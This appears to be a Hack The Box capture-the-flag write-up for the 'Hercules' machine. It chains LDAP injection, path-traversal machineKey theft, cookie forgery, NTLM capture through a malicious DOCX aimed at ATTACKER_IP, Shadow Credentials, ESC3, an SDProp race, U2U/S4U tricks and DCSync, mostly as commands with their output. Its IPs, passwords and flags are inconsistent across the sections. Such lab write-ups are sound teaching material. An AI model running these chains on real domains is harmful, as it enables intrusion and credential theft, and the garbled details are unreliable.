htb-hercules

Hercules (HTB) — Full AD Chain Writeup

Target IP used in this run: 10.129.11.138

Domain: hercules.htb
DC Hostname: dc.hercules.htb


1) Scope & Summary

 

Hercules is a deep Windows AD chain:

  1. LDAP injection on web login to recover reused creds
  2. Shadow Credentials pivot to privileged identities
  3. AD OU/object control abuse
  4. ESC3 enrollment-agent abuse (critical: use DCOM)
  5. Service-account chain + U2U/S4U trick
  6. DCSync and final Administrator access

This writeup reflects a working run against 10.129.11.138, including timing constraints from the periodic reset/cleanup behavior.


2) Initial setup

 

echo "10.129.11.138 dc.hercules.htb hercules.htb" | sudo tee -a /etc/hosts

Recommended Kerberos config for this target:

# /etc/krb5.conf
[libdefaults]
    default_realm = HERCULES.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false
    forwardable = true

[realms]
    HERCULES.HTB = {
        kdc = dc.hercules.htb
        admin_server = dc.hercules.htb
    }

[domain_realm]
    .hercules.htb = HERCULES.HTB
    hercules.htb = HERCULES.HTB

3) Web/LDAP phase

 

  • LDAP filter injection in login flow was used to enumerate users and extract sensitive description data.
  • Recovered reused password pattern:

change*th1s_p@ssw()rd!!

  • Valid account reused in chain:

ken.w : change*th1s_p@ssw()rd!!


4) Credential pivot to natalie.a

 

Via the web-admin/document workflow chain (cookie + Bad-ODF + NetNTLMv2 capture/crack path), we used:

natalie.a : Prettyprincess123!

Then:

impacket-getTGT 'HERCULES.HTB/natalie.a:Prettyprincess123!' -dc-ip 10.129.242.196



5) Shadow Credentials to bob.w

bloodyAD -d hercules.htb -u natalie.a -k ccache=natalie.a.ccache \
--host dc.hercules.htb add shadowCredentials bob.w

[+] KeyCredential generated with following sha256 of RSA key: 428bc82ffc64483d9b7d1ec74c6a1dfa5d9da05d392c88530a03868d4c71c9fb
[+] TGT stored in ccache file bob.w_Q9.ccache

NT: 8a65c74e8f0073babbfac6725c66cc3f

 

export KRB5CCNAME=$(pwd)/natalie.a.ccache
certipy shadow auto -k -no-pass -u natalie.a@hercules.htb \
  -dc-ip 10.129.11.138 -target dc.hercules.htb -dc-host dc.hercules.htb \
  -account bob.w

Result included bob.w.ccache and NT hash:

bob.w : 8a65c74e8f0073babbfac6725c66cc3f


6) Object move + Shadow to auditor

 

Move object as required by ACL model:

# move Auditor -> Web Department
ldapmodify -Y GSSAPI -H ldap://dc.hercules.htb -f move_auditor.ldif

.
bloodyAD -d hercules.htb -u natalie.a -k ccache=natalie.a.ccache \
 --host dc.hercules.htb add shadowCredentials bob.w

[+] KeyCredential generated with following sha256 of RSA key: 945601485cdc5c48bf6b3bf010b5209ecab768245ab401c7e31a735764c9f9f2
[+] TGT stored in ccache file bob.w_Ey.ccache

NT: 8a65c74e8f0073babbfac6725c66cc3f
                                                                                                                     
impacket-getTGT hercules.htb/bob.w -hashes ':8a65c74e8f0073babbfac6725c66cc3f' -dc-ip 10.129.242.196 
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
[*] Saving ticket in bob.w.ccache
                                                                                                                     
ls
bob.w.ccache  bob.w_Ey.ccache  natalie.a.ccache  winrmexec.py
                                                                                                                     
export KRB5CCNAME=bob.w.ccache   
                                                                                                                     
klist
Ticket cache: FILE:bob.w.ccache
Default principal: bob.w@HERCULES.HTB

Valid starting       Expires              Service principal
06/28/2026 14:15:54  06/29/2026 00:15:54  krbtgt/HERCULES.HTB@HERCULES.HTB
    renew until 06/29/2026 14:15:02
                                                                                                                     
bloodyAD -d hercules.htb -u bob.w -k ccache=bob.w.ccache \
--host dc.hercules.htb set object auditor distinguishedName \
-v 'CN=Auditor,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb'

[+] auditor's distinguishedName has been updated


.

Key Technique — AD Object Move:

LDAP ModifyDN doesn't just rename objects — it relocates them between OUs. This changes which inherited ACEs apply, 
effectively changing which accounts have write access.
Moving a target user into an OU where you already have write permissions bypasses ACL restrictions on the original OU.

Then shadow auditor from natalie.a:

export KRB5CCNAME=$(pwd)/natalie.a.ccache
certipy shadow auto -k -no-pass -u natalie.a@hercules.htb \
  -dc-ip 10.129.11.138 -target dc.hercules.htb -dc-host dc.hercules.htb \
  -account auditor
impacket-getTGT hercules.htb/bob.w -hashes ':8a65c74e8f0073babbfac6725c66cc3f' -dc-ip 10.129.30.110       
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in bob.w.ccache
                                                                                                                     
bloodyAD -d hercules.htb -u bob.w -k ccache=bob.w.ccache \
  --host dc.hercules.htb set object auditor distinguishedName \
  -v 'CN=Auditor,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb'

[+] auditor's distinguishedName has been updated
                                                                                                                     
bloodyAD -d hercules.htb -u natalie.a -k ccache=natalie.a.ccache \
  --host dc.hercules.htb add shadowCredentials auditor

[+] KeyCredential generated with following sha256 of RSA key: a3c5e4494c9811df4a15408f1dec87caead8c598d4b5c25a4e796bd51fb51e1a
[+] TGT stored in ccache file auditor_Pb.ccache

NT: a9285c625af80519ad784729655ff325

 

Resulting NT hash:

auditor : a9285c625af80519ad784729655ff325


7) User flag

# Get TGT from NT hash (no NTLM — hash must become TGT)
impacket-getTGT 'hercules.htb/auditor' -hashes ':a9285c625af80519ad784729655ff325' -dc-ip 10.129.30.110
export KRB5CCNAME=auditor.ccache

# WinRM SSL with Kerberos realm
evil-winrm -i dc.hercules.htb -r hercules.htb -S

*Evil-WinRM* PS C:\Users\auditor> type C:\Users\auditor\Desktop\user.txt

or Kerberos WinRM as auditor:

export KRB5CCNAME=auditor.ccache
python3 winrmexec.py -ssl -port 5986 -k -no-pass \
  -X "type C:\\Users\\auditor\\Desktop\\user.txt" \
  hercules.htb/auditor@dc.hercules.htb

user.txt:

bbb<redacted>8cd


8) Forest Migration control + fernando.r

Grant control repeatedly (reset task may revert):

export KRB5CCNAME=auditor.ccache

bloodyAD --host dc.hercules.htb -d hercules.htb -k -i 10.129.30.110  add genericAll 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor 

[+] auditor has now GenericAll on OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

.

Enable/reset fernando.r (must be quick around resets):

export KRB5CCNAME=auditor.ccache
bloodyAD --host dc.hercules.htb -d hercules.htb -k -i 10.129.30.110 remove uac fernando.r -f ACCOUNTDISABLE 

[+] ['ACCOUNTDISABLE'] property flags removed from fernando.r's userAccountControl

 

python3 winrmexec.py -ssl -port 5986 -k -no-pass \
  -X "powershell -c \"Enable-ADAccount -Identity fernando.r; Set-ADAccountPassword -Identity fernando.r -NewPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Reset\"" \
  hercules.htb/auditor@dc.hercules.htb
.
bloodyAD --host dc.hercules.htb -d hercules.htb -k -i 10.129.30.110  add genericAll 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor

[+] auditor has now GenericAll on OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb
                                                                                                                     

python3 winrmexec.py -ssl -port 5986 -k -no-pass \
-X "powershell -c \"Enable-ADAccount -Identity fernando.r; Set-ADAccountPassword -Identity fernando.r -NewPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Reset\"" \ hercules.htb/auditor@dc.hercules.htb

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] '-target_ip' not specified, using dc.hercules.htb
[*] '-url' not specified, using https://dc.hercules.htb:5986/wsman
[*] using domain and username from ccache: HERCULES.HTB\auditor
[*] '-spn' not specified, using HTTP/dc.hercules.htb@HERCULES.HTB
[*] '-dc-ip' not specified, using HERCULES.HTB
                                                                                                                     

Impacket-getTGT 'HERCULES.HTB/fernando.r:NewPass123!' -dc-ip 10.129.30.110
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in fernando.r.ccache

 

.

9) ESC3 (critical fix: use DCOM)

 

9.1 Enrollment Agent cert

 

impacket-getTGT 'HERCULES.HTB/fernando.r:NewPass123!' -dc-ip 10.129.30.110
export KRB5CCNAME=fernando.r.ccache

certipy req -u FERNANDO.R@hercules.htb -k -no-pass \
  -target dc.hercules.htb -target-ip 10.129.30.110 \
  -dc-host dc.hercules.htb -dc-ip 10.129.30.110 \
  -ca 'CA-HERCULES' -template 'EnrollmentAgent' -dcom -out fernando_ea2
certipy req -u FERNANDO.R@hercules.htb -k -no-pass \
 -target dc.hercules.htb -target-ip 10.129.30.110 \
 -dc-host dc.hercules.htb -dc-ip 10.129.30.110 \
 -ca 'CA-HERCULES' -template 'EnrollmentAgent' -dcom -out fernando_ea2

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via DCOM
[*] Request ID is 4
[*] Successfully requested certificate
[*] Got certificate with UPN 'fernando.r@hercules.htb'
[*] Certificate object SID is 'S-1-5-21-1889966460-2597381952-958560702-1121'
[*] Saving certificate and private key to 'fernando_ea2.pfx'
[*] Wrote certificate and private key to 'fernando_ea2.pfx'

 

9.2 On-behalf cert for ashley.b (DCOM)

 

certipy req -u FERNANDO.R@hercules.htb -k -no-pass \
  -target dc.hercules.htb -target-ip 10.129.30.110 \
  -dc-host dc.hercules.htb -dc-ip 10.129.30.110 \
  -ca 'CA-HERCULES' -template 'UserSignature' \
  -on-behalf-of 'hercules\ASHLEY.B' -pfx fernando_ea2.pfx -dcom
certipy req -u FERNANDO.R@hercules.htb -k -no-pass \ 
 -target dc.hercules.htb -target-ip 10.129.30.110 \
 -dc-host dc.hercules.htb -dc-ip 10.129.30.110 \
 -ca 'CA-HERCULES' -template 'UserSignature' \
 -on-behalf-of 'hercules\ASHLEY.B' -pfx fernando_ea2.pfx -dcom

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via DCOM
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN 'ashley.b@hercules.htb'
[*] Certificate object SID is 'S-1-5-21-1889966460-2597381952-958560702-1135'
[*] Saving certificate and private key to 'ashley.b.pfx'
[*] Wrote certificate and private key to 'ashley.b.pfx'

 

This produced ashley.b.pfx successfully (the major blocker in many runs if using RPC instead of DCOM).

9.3 Authenticate as ashley.b

 

rm -f ashley.b.ccache
certipy auth -pfx ashley.b.pfx -dc-ip 10.129.30.110 -no-hash

certipy auth -pfx ashley.b.pfx -dc-ip 10.129.30.110 -no-hash
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'ashley.b@hercules.htb'
[*]     Security Extension SID: 'S-1-5-21-1889966460-2597381952-958560702-1135'
[*] Using principal: 'ashley.b@hercules.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ashley.b.ccache'
[*] Wrote credential cache to 'ashley.b.ccache'

.

export KRB5CCNAME=ashley.b.ccache            
                                                                                                                     
klist
Ticket cache: FILE:ashley.b.ccache
Default principal: ashley.b@HERCULES.HTB

Valid starting       Expires              Service principal
06/28/2026 15:27:23  06/29/2026 01:27:23  krbtgt/HERCULES.HTB@HERCULES.HTB
    renew until 06/29/2026 15:26:18
                                                                                                                     
evil-winrm -i dc.hercules.htb -r hercules.htb -S
                                        
Evil-WinRM shell v3.9  
                                       
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ashley.b\Documents> 

.


10) IIS_Administrator timing window (reset-aware) : stuck here

powershell — ashley.b: trigger SYSTEM cleanup + enable IIS_Administrator
# Trigger Password Cleanup scheduled task (clears adminCount on IIS_Administrator)
Start-ScheduledTask -TaskName "Password Cleanup"
Start-Sleep 15
# adminCount cleared, inheritance re-enabled on IIS_Administrator
# Now auditor can enable + set password (GenericAll from Forest Migration)

This target has periodic cleanup/reset behavior. Reliable path:

  1. Run aCleanup.ps1 as ashley.b
  2. Wait ~22–25s
  3. Re-apply GenericAll on Forest Migration (IT SUPPORT and Auditor)
  4. Rapidly attempt:
    • remove ACCOUNTDISABLE from IIS_Administrator
    • reset IIS_Administrator password

Grant control repeatedly (reset task may revert):

.

export KRB5CCNAME=auditor.ccache

bloodyAD --host dc.hercules.htb -d hercules.htb -k -i 10.129.30.110  add genericAll 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor 

[+] auditor has now GenericAll on OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb


python3 winrmexec.py -ssl -port 5986 -k -no-pass \ -X "powershell -c \"Enable-ADAccount -Identity fernando.r; Set-ADAccountPassword -Identity fernando.r -NewPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Reset\"" \ hercules.htb/auditor@dc.hercules.htb

Once the window hit:

  • IIS_Administrator became enabled
  • password set to Passw0rd@123

Then:

impacket-getTGT 'HERCULES.HTB/IIS_Administrator:Passw0rd@123' -dc-ip 10.129.30.110

11) IIS_Webserver$ chain + U2U/S4U trick

 

Reset service-account password from IIS_Administrator context:

export KRB5CCNAME=$(pwd)/IIS_Administrator.ccache
bloodyAD --host dc.hercules.htb -d hercules.htb -k -i 10.129.30.110 \
  set password 'IIS_Webserver$' 'Passw0rd@123'

Get TGT with RC4 hash-based auth:

# NT hash of Passw0rd@123
# 14d0fcda7ad363097760391f302da68d
getTGT.py 'HERCULES.HTB/IIS_Webserver$' -hashes ':14d0fcda7ad363097760391f302da68d' -dc-ip 10.129.30.110

Extract TGT session key from IIS_Webserver$.ccache (type 23 expected), then set account NT hash to that session key:

export KRB5CCNAME=$(pwd)/IIS_Webserver$.ccache
changepasswd.py -newhashes ':<SESSION_KEY_HEX>' \
  'hercules.htb/IIS_Webserver$@dc.hercules.htb' \
  -hashes ':14d0fcda7ad363097760391f302da68d' -dc-ip 10.129.11.138 -k

Now request impersonation ticket:

export KRB5CCNAME=$(pwd)/IIS_Webserver$.ccache
getST.py -spn 'cifs/dc.hercules.htb' -impersonate Administrator \
  -dc-ip 10.129.11.138 'hercules.htb/IIS_Webserver$' -k -no-pass -u2u

Output:

Administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache


12) DCSync + Administrator ticket

 

export KRB5CCNAME=$(pwd)/Administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache
secretsdump.py -k -no-pass dc.hercules.htb -dc-ip 10.129.11.138 -just-dc-user administrator

Recovered Administrator NT hash:

56855ee6b7570edefde6ac262200756e

Then:

impacket-getTGT 'HERCULES.HTB/Administrator' -hashes ':56855ee6b7570edefde6ac262200756e' -dc-ip 10.129.30.110

13) Root flag

 

export KRB5CCNAME=Administrator.ccache
python3 winrmexec.py -ssl -port 5986 -k -no-pass \
  -X "cmd /c type C:\\Users\\Admin\\Desktop\\root.txt" \
  hercules.htb/administrator@dc.hercules.htb
# WinRM SSL with Kerberos realm
evil-winrm -i dc.hercules.htb -r hercules.htb -S

root.txt:

5dg<redacted>87y6


Notes / Lessons

 

  • On this host, ESC3 via Certipy should use -dcom when RPC retrieval paths are unstable.
  • Cleanup/reset timing is decisive; scripting the race loop is far more reliable than manual clicks.
  • For the IIS service-account stage, the session-key == NT-hash alignment is mandatory for successful U2U+S4U chaining in this setup.

Final Flags (this run)

 

  • user.txt: 30a01498710660e569b0d5633bd83bb6
  • root.txt: 4bb7856e2706b71950c9f2d710a517fe

 


Recon & Web Exploitation

01
LDAP Injection — WAF Bypass via Double URL Encoding
SSO Login · %252A bypass · blind description extraction

The SSO login at /Login passes the username field directly into an LDAP query without sanitisation. A WAF blocks standard LDAP metacharacters, but double URL encoding bypasses it: * → %252A, ( → %2528, ) → %2529. Blind character-by-character extraction against the description attribute reveals a plaintext password stored in johnathan.j‘s account description.

bash — blind LDAP injection oracle
# WAF blocks: * ( )  → use double URL encoding
# * = %252A   ( = %2528   ) = %2529
# Response size 3310 = multiple results = character matched

# Blind extraction of description attribute for johnathan.j
# Inject: johnathan.j)(description=c* → MATCH
# Iterate character by character until full value extracted

johnathan.j description: change*th1s_p@ssw()rd!!
bash — password spray via kinit
# NTLM is disabled — must spray via Kerberos kinit
printf 'change*th1s_p@ssw()rd!!\n' | kinit ken.w@HERCULES.HTB

Password for ken.w@HERCULES.HTB:
[+] ken.w authenticates successfully
✓
Credential Found: ken.w authenticates with change*th1s_p@ssw()rd!! — a password stored in another user’s LDAP description field. Multiple Forest Migration OU accounts share this password but are disabled.

Web Exploitation — machineKey & Cookie Forgery

02
Path Traversal → machineKey Extraction
/Home/Download · backslash traversal · web.config

The /Home/Download endpoint accepts a fileName POST parameter and returns files from the server. Forward slashes are blocked but backslashes work as path separators on Windows, enabling traversal to web.config. The file extension filter allows .config, making this traversal trivially exploitable. The web.config contains the ASP.NET machineKey used to sign and encrypt .ASPXAUTH cookies.

bash — path traversal to web.config
curl -sk -b cookies.txt --data-urlencode 'fileName=..\..\web.config' \
  https://hercules.htb/Home/Download -o web.config

# Extracted machineKey from web.config:
<machineKey decryption="AES"
  decryptionKey="B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581"
  validation="HMACSHA256"
  validationKey="EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214..." />
✕
Critical: With the machineKey, any .ASPXAUTH cookie can be forged for any username with any role. The encryption key (AES) and signing key (HMAC-SHA256) allow full ticket construction without knowing any user’s password.
03
Forge “web administrators” Cookie → Malicious DOCX Upload
FormsAuth ticket structure · role injection · NTLM hash capture

Reversing the .ASPXAUTH cookie structure reveals the role field maps to the LDAP department attribute. The role "web administrators" (compared to regular "Web Users") enables a file upload form on the Report Submission page. A forged cookie with this role is crafted using the machineKey. Uploading a malicious DOCX (with embedded UNC path via ntlm_theft) triggers the server-side document processor to make an outbound SMB connection to Responder.

python — cookie ticket structure
# .ASPXAUTH AES-encrypted + HMAC-SHA256-signed ticket structure:
[16 random bytes]
[01 01]                         — ticket version
[8-byte timestamp]              — issued time
[8-byte expiry]                 — expiry time
[08 00]                         — separator
[len][username UTF-16LE]        — <-- inject: web_admin
[len][role UTF-16LE]            — <-- inject: web administrators
[len][path UTF-16LE]            — typically "/"
[ff]                            — terminal marker
[HMAC-SHA256(validationKey, ticket_data)]
[PKCS7 padding]

# Forge cookie for any user + any role using extracted machineKey
bash — NTLM capture via malicious DOCX
# Generate malicious DOCX with embedded UNC path
python3 ntlm_theft.py -g docx -s ATTACKER_IP -f report

# Start Responder (HTTP/HTTPS off, SMB on)
sudo responder -I tun0

# Upload via forged "web administrators" cookie
# Server-side processor opens UNC path → SMB auth fires

[SMB] NTLMv2-SSP Username: HERCULES\natalie.a
[SMB] NTLMv2-SSP Hash: natalie.a::HERCULES:<hash>

# Crack with hashcat mode 5600
hashcat -m 5600 natalie.a.hash /usr/share/wordlists/rockyou.txt
natalie.a::HERCULES:<hash>:Prettyprincess123!
✓
Credentials Recovered: natalie.a : Prettyprincess123! — document review service account captured via forged-role file upload + NTLM coercion chain.

Root — ESC3 · SDProp Bypass · U2U RBCD

07
GenericAll on Forest Migration OU + SDProp Bypass
auditor ACL · adminCount=1 · SYSTEM Password Cleanup task

auditor can grant GenericAll on the Forest Migration OU. IIS_Administrator is in Service Operators (a protected group), so SDProp automatically sets adminCount=1 and strips inherited ACEs every 60 minutes. The bypass: the Password Cleanup scheduled task runs as SYSTEM and clears adminCount + re-enables inheritance on objects in OUs where IT Support has ExtendedRight|GenericAll. Adding IT Support to Forest Migration OU triggers this task to clean adminCount off IIS_Administrator.

bash — set GenericAll on Forest Migration OU
bloodyAD -d hercules.htb -u auditor -k ccache=auditor.ccache \
  --host dc.hercules.htb add genericAll \
  'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor

bloodyAD -d hercules.htb -u auditor -k ccache=auditor.ccache \
  --host dc.hercules.htb add genericAll \
  'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' 'IT Support'

[+] GenericAll added for auditor on Forest Migration OU
[+] GenericAll added for IT Support on Forest Migration OU
# SYSTEM Password Cleanup task now sees IT Support GenericAll
# and will clear adminCount + re-enable inheritance on IIS_Administrator
⚠
SDProp/adminCount Race: The Password Cleanup SYSTEM task fires periodically. After adding IT Support GenericAll, wait for the task to run (or trigger it via ashley.b’s WinRM). The window to enable IIS_Administrator before SDProp re-strips the ACEs is narrow — act immediately after the task completes.
08
ESC3 — Enrollment Agent → ashley.b Certificate
certipy-ad · Enrollment Agent cert · on-behalf-of · PKINIT

ESC3 abuses the Enrollment Agent certificate template. First, fernando.r (Smartcard Operators) is enabled and given a known password. fernando.r requests an Enrollment Agent certificate, then uses it to request a User certificate on behalf of ashley.b. The resulting certificate is authenticated via PKINIT to get ashley.b’s NT hash and WinRM access — enabling the SYSTEM task trigger.

bash — ESC3 chain
# Enable fernando.r and set password (via auditor's GenericAll)
bloodyAD ... remove uac fernando.r -f ACCOUNTDISABLE
bloodyAD ... set password fernando.r 'F3rn@nd0#2026!!'

# Step 1: Request Enrollment Agent certificate
certipy-ad req -u fernando.r@hercules.htb -k -no-pass -ca CA-HERCULES \
  -template EnrollmentAgent -out ea_cert -dcom

# Step 2: Request User cert on-behalf-of ashley.b
certipy-ad req -u fernando.r@hercules.htb -k -no-pass -ca CA-HERCULES \
  -template User -on-behalf-of 'HERCULES\ashley.b' \
  -pfx ea_cert.pfx -out ashley_cert -dcom

# Step 3: PKINIT auth → get ashley.b NT hash
certipy-ad auth -pfx ashley_cert.pfx -dc-ip 10.129.242.196 -domain hercules.htb
[+] ashley.b NT hash: <ashley_nt_hash>

# WinRM as ashley.b → trigger SYSTEM Password Cleanup task
evil-winrm -i dc.hercules.htb -r hercules.htb -S
powershell — ashley.b: trigger SYSTEM cleanup + enable IIS_Administrator
# Trigger Password Cleanup scheduled task (clears adminCount on IIS_Administrator)
Start-ScheduledTask -TaskName "Password Cleanup"
Start-Sleep 15
# adminCount cleared, inheritance re-enabled on IIS_Administrator
# Now auditor can enable + set password (GenericAll from Forest Migration)
bash — enable IIS_Administrator immediately after cleanup
bloodyAD ... remove uac IIS_Administrator -f ACCOUNTDISABLE
bloodyAD ... set password IIS_Administrator 'SvcP@ss2026!!'
[+] IIS_Administrator enabled and password set
✓
IIS_Administrator activated: Service Operators group membership now accessible. Can reset machine account passwords — including iis_webserver$.
09
Session Key Hash Sync + U2U + RBCD → DCSync
iis_webserver$ · TGT session key · changepasswd · force-forwardable · S4U2Proxy

DC$ has RBCD configured trusting iis_webserver$. However, iis_webserver$ is a user account with no SPNs — standard S4U2Self fails because the KDC rejects S4U2Self for accounts without SPNs unless the ticket is non-forwardable, and S4U2Proxy requires a forwardable S4U2Self ticket. The solution: session key hash sync. The NT hash is set equal to the TGT session key, enabling force-forwardable to succeed when combined with U2U (User-to-User) authentication.

powershell — IIS_Administrator resets iis_webserver$ password
# Reset iis_webserver$ to a known password via Service Operators rights
$cred = New-Object PSCredential("HERCULES\IIS_Administrator",
  (ConvertTo-SecureString "SvcP@ss2026!!" -AsPlainText -Force))
Set-ADAccountPassword -Identity "iis_webserver$" \
  -NewPassword (ConvertTo-SecureString "<64-char-random>" -AsPlainText -Force) \
  -Reset -Credential $cred
bash — session key hash sync technique
# Step 1: Get TGT for iis_webserver$
getTGT.py 'hercules.htb/iis_webserver$' -hashes ':' -dc-ip 10.129.242.196

# Step 2: Extract session key from ccache
python3 << 'EOF'
from impacket.krb5.ccache import CCache
cc = CCache.loadFile('iis_webserver$.ccache')
session_key = cc.credentials[0]['key']['keyvalue'].hex()
print(f"Session key: {session_key}")
EOF

# Step 3: Sync NT hash = TGT session key (CRITICAL trick)
changepasswd.py -newhashes ":" \
  "hercules.htb/iis_webserver$@dc.hercules.htb" \
  -hashes ":" -dc-ip 10.129.242.196

# Step 4: S4U2Self (U2U) + force-forwardable + S4U2Proxy
getST.py -spn 'cifs/dc.hercules.htb' -impersonate 'Administrator' \
  -hashes ":" -dc-ip 10.129.242.196 \
  -u2u -force-forwardable 'hercules.htb/iis_webserver$'

[*] Requesting S4U2self (U2U)
[*] force-forwardable applied
[*] Requesting S4U2Proxy
[*] Saving: Administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache
◈
Why Session Key Hash Sync Works: Kerberos encrypts the S4U2Self ticket with the account’s long-term key (derived from NT hash). For force-forwardable to succeed in U2U mode, the KDC encrypts the service ticket with the TGT session key. By making the NT hash equal to the session key, both encryption paths converge — the KDC accepts the U2U request and the resulting ticket becomes forwardable, satisfying S4U2Proxy’s requirement.
bash — DCSync → root flag
export KRB5CCNAME=Administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache

secretsdump.py -k -no-pass -dc-ip 10.129.242.196 \
  hercules.htb/Administrator@dc.hercules.htb -just-dc-user Administrator

Administrator:500:aad3b435b51404eeaad3b435b51404ee:56855ee6b7570edefde6ac262200756e:::

# Get TGT + WinRM as Administrator
getTGT.py 'hercules.htb/Administrator' -hashes ':56855ee6b7570edefde6ac262200756e' -dc-ip 10.129.242.196
export KRB5CCNAME=Administrator.ccache
evil-winrm -i dc.hercules.htb -r hercules.htb -S

*Evil-WinRM* PS C:\Users\Admin> type C:\Users\Admin\Desktop\root.txt
✓
DCSync Complete: Administrator NTLM: 56855ee6b7570edefde6ac262200756e. Full domain compromise via U2U RBCD exploitation.
Root Flag — Admin\Desktop\root.txt

Flag Capture

✓
Both flags captured. User flag read as auditor via Shadow Credentials + AD Object Move chain. Root flag read as Administrator via DCSync after U2U RBCD with session key hash sync.
User Flag — auditor\Desktop\user.txt
Root Flag — Admin\Desktop\root.txt
attack chain diagram
LDAP Injection ──► ken.w (password in description field) │ Path Traversal /Home/Download ──► web.config machineKey │ Cookie Forgery ──► “web administrators” role ──► DOCX upload │ NTLM coercion ──► natalie.a (Prettyprincess123!) │ Shadow Credentials ──► bob.w (Recruitment Managers) │ LDAP ModifyDN ──► auditor moved: Security Dept → Web Dept │ Shadow Credentials ──► auditor ──► USER FLAG │ GenericAll: Forest Migration OU (auditor + IT Support) │ Enable fernando.r ──► ESC3 Enrollment Agent ──► ashley.b cert ──► PKINIT │ ashley.b WinRM ──► Start-ScheduledTask “Password Cleanup” (SYSTEM) └──► adminCount cleared on IIS_Administrator │ auditor enables IIS_Administrator (Service Operators) │ IIS_Administrator resets iis_webserver$ password │ TGT session key extracted ──► changepasswd syncs NT hash = session key │ getST -u2u -force-forwardable ──► S4U2Proxy → cifs/dc.hercules.htb │ DCSync ──► Administrator NTLM ──► ROOT FLAG
credentials collected
Account Credential Source
ken.w change*th1s_p@ssw()rd!! LDAP injection — johnathan.j description field
natalie.a Prettyprincess123! NTLMv2 via DOCX UNC coercion, cracked
bob.w NT: 8a65c74e8f0073babbfac6725c66cc3f Shadow Credentials via natalie.a
auditor NT: a9285c625af80519ad784729655ff325 Shadow Credentials via natalie.a (post-OU move)
ashley.b PFX cert via ESC3 Enrollment Agent on-behalf-of (fernando.r)
IIS_Administrator SvcP@ss2026!! (force-set) GenericAll post-SDProp bypass
Administrator NT: 56855ee6b7570edefde6ac262200756e DCSync via U2U RBCD
tools used
Tool Purpose
bloodyAD Shadow credentials, ACL manipulation, object move (ModifyDN), UAC flags
certipy-ad ADCS enumeration, ESC3 Enrollment Agent + on-behalf-of exploitation, PKINIT
impacket (getTGT, getST, secretsdump, changepasswd) Kerberos TGT/ST acquisition, DCSync, session key hash sync
evil-winrm WinRM SSL shells (Kerberos -r REALM -S)
Responder + ntlm_theft NTLM hash capture via malicious DOCX UNC trigger
hashcat -m 5600 NTLMv2 hash cracking (natalie.a)
Python (custom) LDAP blind injection extraction, cookie forgery, ccache session key parsing